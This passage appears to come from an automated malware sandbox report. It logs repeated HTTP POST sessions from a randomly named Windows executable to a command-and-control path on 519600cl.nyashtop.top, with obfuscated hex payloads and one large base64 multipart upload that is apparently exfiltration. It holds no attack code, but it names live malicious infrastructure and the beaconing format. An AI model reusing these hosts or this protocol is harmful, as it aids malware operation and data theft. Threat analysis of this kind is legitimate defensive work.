                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1952
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:42.392194986 CET1952OUTData Raw: 5f 5d 5b 5f 54 46 51 54 5a 5d 56 56 52 58 50 5a 50 5d 55 5e 57 5f 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _][_TFQTZ]VVRXPZP]U^W_ZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z;0=]!"927E)9 %(=3'='""?'";+.'F!.\*5
                                                                  Jan 13, 2025 13:11:42.688838959 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:42.825335026 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:42 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0a 3e 1b 26 55 30 5f 30 54 38 3f 25 07 2d 12 34 00 3d 0b 2f 07 29 03 29 14 2e 2e 20 59 3f 28 2b 02 28 31 20 1c 25 36 24 57 2b 29 2b 51 07 11 39 16 31 2d 2e 5e 3f 33 26 10 27 21 29 18 22 33 2b 03 2b 07 0c 1b 30 38 09 0b 3c 38 08 02 3e 0a 3a 58 32 39 22 19 2b 3c 3a 5b 3c 3d 2f 5e 08 12 25 15 29 21 29 1d 31 09 27 1f 21 2c 3c 5c 3e 06 3d 53 23 2f 31 0a 2a 14 0b 14 24 3e 14 02 30 58 32 5a 26 31 3f 0a 27 22 25 59 24 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: ">&U0_0T8?%-4=/)).. Y?(+(1 %6$W+)+Q91-.^?3&'!)"3++08<8>:X29"+<:[<=/^%)!)1'!,<\>=S#/1*$>0X2Z&1?'"%Y$)$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  49192.168.2.44993437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:42.435061932 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:42.783134937 CET2580OUTData Raw: 5a 5b 5e 51 54 48 54 52 5a 5d 56 56 52 5f 50 5e 50 5d 55 58 57 5f 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[^QTHTRZ]VVR_P^P]UXW_ZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^,0&"&#>97^'0=7>9?3)9'4?'F!.\*
                                                                  Jan 13, 2025 13:11:43.091999054 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:43.227118015 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:42 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  50192.168.2.44994037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:43.803860903 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:44.158210039 CET2580OUTData Raw: 5a 5c 5b 54 51 42 51 54 5a 5d 56 56 52 5b 50 5d 50 5e 55 55 57 56 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[TQBQTZ]VVR[P]P^UUWVZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ .0)]5)$#+)#]';%$-+=9,P3=+_$(+.'F!.\*-
                                                                  Jan 13, 2025 13:11:44.432512999 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:44.563190937 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:44 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  51192.168.2.44994737.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:44.887940884 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:45.235935926 CET2580OUTData Raw: 5f 59 5b 55 51 40 51 51 5a 5d 56 56 52 5c 50 5f 50 5e 55 5b 57 50 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y[UQ@QQZ]VVR\P_P^U[WPZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/#^"!&\%'A=:'93=$V=9,V'2%($^3! \+.'F!.\*1
                                                                  Jan 13, 2025 13:11:45.516731977 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:45.690948963 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:45 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  52192.168.2.44995337.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:45.868968964 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:46.220324993 CET2580OUTData Raw: 5f 5a 5b 50 51 47 54 53 5a 5d 56 56 52 5d 50 5d 50 50 55 59 57 50 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[PQGTSZ]VVR]P]PPUYWPZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\.#*"T>_%#+*#_$(&3><'-)9+310Z+'F!.\*5
                                                                  Jan 13, 2025 13:11:46.573034048 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:46.653430939 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:46 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  53192.168.2.44995937.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:47.213363886 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:47.564093113 CET2580OUTData Raw: 5a 5b 5b 57 54 46 54 51 5a 5d 56 56 52 5a 50 52 50 5f 55 55 57 57 5a 57 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[[WTFTQZ]VVRZPRP_UUWWZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8U*5"%8=9<'$.>:,$1>)9 ''?>'F!.\*)
                                                                  Jan 13, 2025 13:11:47.851331949 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:47.983495951 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:47 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  54192.168.2.44996037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:47.755084038 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:48.112565041 CET540OUTData Raw: 5f 5d 5b 55 54 44 54 51 5a 5d 56 56 52 59 50 58 50 5b 55 5f 57 5f 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _][UTDTQZ]VVRYPXP[U_W_ZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_85\62-&0#C**/0'U*<V&2)*0^'![<'F!.\*%
                                                                  Jan 13, 2025 13:11:48.412208080 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:48.547110081 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:48 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:48.551459074 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:48.743451118 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:48.744750977 CET2580OUTData Raw: 5a 5a 5b 50 54 47 51 51 5a 5d 56 56 52 51 50 5a 50 5e 55 5f 57 50 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ[PTGQQZ]VVRQPZP^U_WPZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#,)^!"X2U#A+93^%;=$W* $"+)<^0 \?'F!.\*
                                                                  Jan 13, 2025 13:11:49.013087988 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:48 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:49.015156984 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----gkDligZAQq8dW8tCD3HVeTmb3d2HMicFyk
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 156470
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:49.207384109 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:49.207720995 CET16068OUTData Raw: 2d 2d 2d 2d 2d 2d 67 6b 44 6c 69 67 5a 41 51 71 38 64 57 38 74 43 44 33 48 56 65 54 6d 62 33 64 32 48 4d 69 63 46 79 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------gkDligZAQq8dW8tCD3HVeTmb3d2HMicFykContent-Disposition: form-data; name="0"Content-Type: text/plainZT[RQETQZ]VVRYPSPZU]WQZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:11:49.212651014 CET4944OUTData Raw: 5a 48 6c 4a 4e 54 64 57 61 54 63 34 64 6c 5a 32 4e 7a 46 5a 4e 53 39 55 64 47 70 59 56 32 78 34 64 33 6c 77 53 30 78 50 65 6d 74 6e 61 32 52 46 57 6c 59 7a 5a 57 5a 4c 64 33 68 31 51 55 39 44 63 6b 74 6c 62 6d 59 78 63 58 68 51 63 57 51 79 62 47
                                                                  Data Ascii: ZHlJNTdWaTc4dlZ2NzFZNS9UdGpYV2x4d3lwS0xPemtna2RFWlYzZWZLd3h1QU9DcktlbmYxcXhQcWQybGhZV2xrbGhJMXRiVENZWE9ueFRNck5NN0FCcEl5Y2JTRGdISFByV3VJRVU1UlZIMEZKNVFCSjJEbnJ4V3F5K1BKR0RlemIrKy93RG1Zdk5aT3JLcEdOcnBMN2pFMUc0dExqVi9GbHo1NGp0OVVSNDRKdkpjNTNUeHR
                                                                  Jan 13, 2025 13:11:49.212722063 CET4944OUTData Raw: 63 45 74 58 61 57 64 5a 4d 6d 6c 73 63 45 52 52 54 55 74 54 62 48 42 4c 51 55 4e 72 63 47 46 4c 51 32 68 4c 55 32 78 77 53 30 46 46 63 45 74 6b 55 31 56 45 52 58 42 4c 56 32 6c 70 64 33 68 45 65 6c 4e 49 53 58 42 6c 4f 55 49 31 62 30 64 4f 63 45
                                                                  Data Ascii: cEtXaWdZMmlscERRTUtTbHBLQUNrcGFLQ2hLU2xwS0FFcEtkU1VERXBLV2lpd3hEelNISXBlOUI1b0dOcE85TzlhVC9HZ1lsQm9vNjhkYVF4Q09hUWlsSnBDZWFBRXg5YUIrTkxTVURDa3BjMGxBd3BPYVdqcDFwZ05Jei9BRW9wZTlKM3hRVUdNVTJuVW5lbFlCTTRORkxpa3pRTVB3cE9hWFBwUjNOQXh2RkJwYVNtTVEwdlN
                                                                  Jan 13, 2025 13:11:49.212779045 CET4944OUTData Raw: 55 7a 42 48 5a 31 6c 73 53 6c 4d 77 56 55 52 46 62 32 39 76 62 30 46 4c 55 32 78 76 54 6b 46 45 59 55 74 58 61 57 64 5a 4d 6d 6c 73 65 47 31 72 63 47 70 46 62 33 42 6a 56 56 56 43 59 31 4e 70 62 47 39 77 51 55 70 53 4b 30 5a 47 52 6b 46 44 56 57
                                                                  Data Ascii: UzBHZ1lsSlMwVURFb29vb0FLU2xvTkFEYUtXaWdZMmlseG1rcGpFb3BjVVVCY1NpbG9wQUpSK0ZGRkFDVWhwYUtCaVVVR2lnWVVsTFNVQUZKUzBVeDNHMFV0SlFNUTBVR2lnQkRSUzBkNkJqYUtXa29HQnBLV2tOQXhLRFMwbEFDVVlvb29HSlJTMGxBeEtRaW5Ha29BYlJTbWtvS1FsSWFVMGRxQUcwaHAzYWtJb0dKUlMwaEh
                                                                  Jan 13, 2025 13:11:49.212835073 CET2472OUTData Raw: 63 56 59 77 4d 43 39 56 54 6c 68 71 64 47 49 79 4d 55 59 78 53 6e 42 6a 5a 47 68 46 61 30 56 73 63 33 42 4c 56 33 70 78 5a 7a 67 77 54 31 49 76 63 54 49 7a 4e 32 31 50 59 31 70 35 52 44 42 4f 56 54 6c 6a 62 6d 35 59 64 32 5a 4b 63 56 56 56 62 7a
                                                                  Data Ascii: cVYwMC9VTlhqdGIyMUYxSnBjZGhFa0Vsc3BLV3pxZzgwT1IvcTIzN21PY1p5RDBOVTljbm5Yd2ZKcVVVbzgrK2doMDNBUHpib20vZU5qdGxFaDUvNmFHdEgreDdNTmxVSy9RMHAwbXpNbTh4QXRqR2ExZVhWSEZSdnMvNlJqRE42VWFqbnk5RnA2Yk5DNnhKNXZpYlY5SzAxNzY1dUx6V1VlVVR4TEhIQ3k3bEN4L09kMjR2eXg
                                                                  Jan 13, 2025 13:11:49.212990999 CET4944OUTData Raw: 64 45 5a 42 65 45 74 45 55 6c 4a 55 52 30 70 54 56 54 5a 71 52 6b 5a 33 64 55 35 76 63 47 46 4c 51 6d 70 68 53 31 55 77 62 45 45 77 53 57 46 4c 56 32 74 76 51 55 74 55 52 6b 78 53 55 55 31 68 59 55 31 56 64 45 70 53 57 56 6c 56 62 45 74 68 55 32
                                                                  Data Ascii: dEZBeEtEUlJUR0pTVTZqRkZ3dU5vcGFLQmphS1UwbEEwSWFLV2tvQUtURkxSUU1hYU1VdEpSWVlVbEthU2dZbldrcDFKaWdhRU5KaWw3MFVBSVJTWXBhS0JqU0tLWEZKUU1UR0tUclRxTVVERzR4U1U3RklSUU1iL25wUWFVaWtvR0JGTnAxSmlnQktLS0RTS0U3MG5VVXZTazYvVTBEUWhIRklSVGovT2tQNlVERys5R2FYRko
                                                                  Jan 13, 2025 13:11:49.213051081 CET4944OUTData Raw: 4c 30 78 47 65 56 68 6b 55 31 5a 30 56 6a 5a 79 55 6a 6b 76 61 32 70 75 59 55 74 4c 53 79 73 77 55 48 70 4e 53 31 4e 73 62 32 39 42 4d 56 42 45 57 43 39 4a 65 6d 46 69 4c 30 46 4f 5a 6b 4d 76 64 30 45 32 4f 57 39 79 65 47 4a 33 4d 79 39 42 54 57
                                                                  Data Ascii: L0xGeVhkU1Z0VjZyUjkva2puYUtLSyswUHpNS1Nsb29BMVBEWC9JemFiL0FOZkMvd0E2OW9yeGJ3My9BTWpMcHY4QTE4Si9PdlRwclZiL0FNUjNVVTAxMnNjVnBBeUpEZFNSQUZubXljSXd5VHRYcjZWODdtOFU4UXI5SS9xejYvSUpOWVYyNnlmNUkycW9hbzRpVzFsWkhaRW15MnhDNXdVY2RBQ2VwRlZZOUwweVc0bXQ0N3k
                                                                  Jan 13, 2025 13:11:49.213136911 CET4944OUTData Raw: 64 6a 68 42 64 6d 64 57 4e 56 67 35 61 54 52 75 4b 32 46 51 4e 47 35 31 5a 6a 5a 34 4e 57 49 76 53 6c 41 76 51 55 31 73 55 46 70 56 4f 46 4a 6c 53 47 38 78 51 33 42 79 54 32 31 4c 62 7a 5a 43 59 6e 46 4e 52 43 74 6b 5a 57 45 72 54 55 35 55 64 45
                                                                  Data Ascii: djhBdmdWNVg5aTRuK2FQNG51ZjZ4NWIvSlAvQU1sUFpVOFJlSG8xQ3ByT21LbzZCYnFNRCtkZWErTU5UdE5XOFllZFl6TFBERFpyRTBpSEtsdHhiZy9qV0o5bHQvOEFuaEYvM3dLZXFLaTdVVUtQUURGYlliSjYwSzBhazVLMFhmUzVoaStJOEhMRFZLVkNuTG1tcmF0V1Y5M3B1T3BLV2l2b1Q0d1NpbG9vQXY2QzZ4YS9wOGp
                                                                  Jan 13, 2025 13:11:50.026631117 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:49 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:50.315783024 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:49 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  55192.168.2.44996237.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:47.852536917 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2000
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:48.204906940 CET2000OUTData Raw: 5f 5a 5b 55 51 45 51 57 5a 5d 56 56 52 59 50 59 50 5b 55 55 57 53 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[UQEQWZ]VVRYPYP[UUWSZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\8!_"2!&0<))3^3'.$R(9<V'_):,^02#+'F!.\*%
                                                                  Jan 13, 2025 13:11:48.504786015 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:48.675906897 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:48 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 57 2a 43 2a 55 30 5f 28 53 2f 3c 04 5b 39 2f 33 15 2a 22 01 05 28 2a 21 17 39 3e 2c 59 3c 5d 20 59 2b 31 37 0d 33 18 27 0c 3d 13 2b 51 07 11 39 1b 24 3d 0c 58 28 0a 36 5a 30 32 08 0a 22 23 24 17 3c 00 3e 50 24 2b 38 1e 28 2b 26 01 3d 0a 3a 11 31 3a 31 41 2b 3f 29 01 3f 07 2f 5e 08 12 25 15 3d 08 3a 0f 32 0e 1e 01 20 3c 28 5a 2a 11 32 0c 23 2f 00 55 28 2a 22 00 33 10 29 58 27 2e 3d 01 26 0c 0e 57 26 54 39 5d 24 13 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !W*C*U0_(S/<[9/3*"(*!9>,Y<] Y+173'=+Q9$=X(6Z02"#$<>P$+8(+&=:1:1A+?)?/^%=:2 <(Z*2#/U(*"3)X'.=&W&T9]$$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  56192.168.2.44997237.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:49.195755959 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:49.548532963 CET2580OUTData Raw: 5a 5d 5b 52 54 41 54 50 5a 5d 56 56 52 5e 50 5e 50 5f 55 59 57 51 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
